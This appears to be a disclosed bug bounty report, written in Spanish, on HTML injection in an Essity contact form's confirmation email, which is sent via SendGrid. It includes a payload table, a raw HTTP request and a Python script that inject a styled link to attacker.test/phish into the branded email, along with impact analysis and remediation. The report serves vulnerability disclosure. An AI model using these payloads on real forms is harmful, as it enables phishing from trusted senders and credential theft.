Resumen
Uno de los sitios de Essity (el dominio aparece censurado en el reporte) tenía un formulario de contacto respaldado por el endpoint POST /contacts/email. Al enviarlo, el servidor manda un correo de confirmación con la plantilla HTML de la marca a través de SendGrid, a la dirección indicada en el campo email.
El problema estaba en el saludo de ese correo, que se construye así:
Buongiorno {firstName} {lastName},
El valor de firstName se metía tal cual en el cuerpo text/html, sin codificar las entidades HTML. Resultado: lo que el atacante escribiera como "nombre" se interpretaba como HTML en el cliente de correo del destinatario.
Se juntaban además tres circunstancias que agravaban el fallo: el endpoint no pedía autenticación, no tenía CAPTCHA ni limitaba el número de peticiones, y el campo email aceptaba cualquier destinatario.
El investigador probó qué sobrevivía al paso por la cadena de envío:
| Payload | Resultado en el correo | |---------|------------------------| | <a href='//evil.test' style='font-weight:bold;color:red'>CLICK</a> | Se muestra como enlace con estilo (SendGrid reescribe el href con su rastreador de clics, pero el texto y los estilos se conservan) | | <b>BOLD</b> | Se muestra en negrita | | <img src=x> | Eliminado por la cadena de envío | | <script>alert(1)</script> | La API lo acepta (200); que se ejecute depende del cliente de correo | | <div style='color:red'>RED</div> | La API lo acepta (200) |
Lo relevante es que las etiquetas <a> con estilos en línea llegaban intactas. SendGrid cambia el destino por su proxy de seguimiento (u28522215.ct.sendgrid.net/ls/click?...), pero ese proxy acaba redirigiendo a la URL del atacante, así que en la práctica el enlace funciona igual.
Pasos de reproducción
- Enviar al endpoint del formulario una petición con un enlace HTML en
firstNamey la dirección de la víctima enemail:
POST ████████/contacts/email?lang=it HTTP/2
Host: ████████
Content-Type: application/json
{
"email": "[email protected]",
"firstName": "<a href='https://attacker.test/phish' style='font-weight:bold;color:red'>APRIRE RIFERIMENTO</a>",
"lastName": "User",
"queryType": "OTHER",
"message": "Richiesta di assistenza tecnica."
}
- El servidor responde
HTTP 200con el cuerpo vacío: el correo ya ha salido.
- La víctima recibe un correo legítimo con el asunto "Modulo di conferma della richiesta", enviado desde la infraestructura de SendGrid de Essity, con el logotipo, la barra azul de cabecera y el pie habituales. El saludo dice "Buongiorno APRIRE RIFERIMENTO User,", donde "APRIRE RIFERIMENTO" es un enlace rojo en negrita.
- Si la víctima pulsa el enlace, pasa primero por el rastreador de SendGrid (
u28522215.ct.sendgrid.net/ls/click?...) y de ahí la redirige ahttps://attacker.test/phish.
El mismo envío, automatizado en Python:
import requests
TARGET = "https://████████████████/contacts/email?lang=it"
VICTIM = "[email protected]"
r = requests.post(TARGET, json={
"email": VICTIM,
"firstName": "<a href='https://attacker.test/phish' style='font-weight:bold;color:red'>APRIRE RIFERIMENTO</a>",
"lastName": "User",
"queryType": "OTHER",
"message": "Richiesta di assistenza."
})
print(f"Status: {r.status_code}") # 200 = email sent
Impacto
- Phishing con correos auténticos. El mensaje sale de la infraestructura real de Essity y supera SPF, DKIM y DMARC. El enlace inyectado queda dentro de una plantilla oficial de la marca y, según el investigador, no se distingue de un botón de acción legítimo, lo que lo hace mucho más creíble que un correo de phishing normal. Detrás del enlace el atacante puede poner una página para robar credenciales o una descarga de malware.
- Destinatario a elección del atacante. Como el campo
emailadmite cualquier dirección, se puede apuntar a personas concretas. - Abuso a escala. Sin autenticación, sin CAPTCHA y sin límite de peticiones, lanzar una campaña masiva desde los servidores de Essity era trivial.
- Daño a la reputación de envío. Un uso masivo para phishing podría hundir la reputación de Essity en SendGrid y hacer que sus correos legítimos acabaran marcados como spam.
Remediación
El reporte figura como resuelto, pero no detalla qué cambió el programa. El investigador propuso:
- Codificar como entidades HTML (
<,>,&,") todos los valores del usuario antes de insertarlos en la plantilla del correo, empezando porfirstName. - Validar los campos de nombre en la API y rechazar o quitar etiquetas HTML: un nombre solo necesita letras y algo de puntuación.
- Añadir un CAPTCHA al formulario para frenar el uso automatizado.
- Limitar los envíos por IP y por destinatario.
El reporte se envió el 14 de junio de 2026 y se divulgó el 5 de octubre de 2026. HackerOne lo clasifica con la debilidad "Improper Output Neutralization for Logs" (CWE-117), aunque el fallo es en realidad una inyección de HTML en el cuerpo de un correo.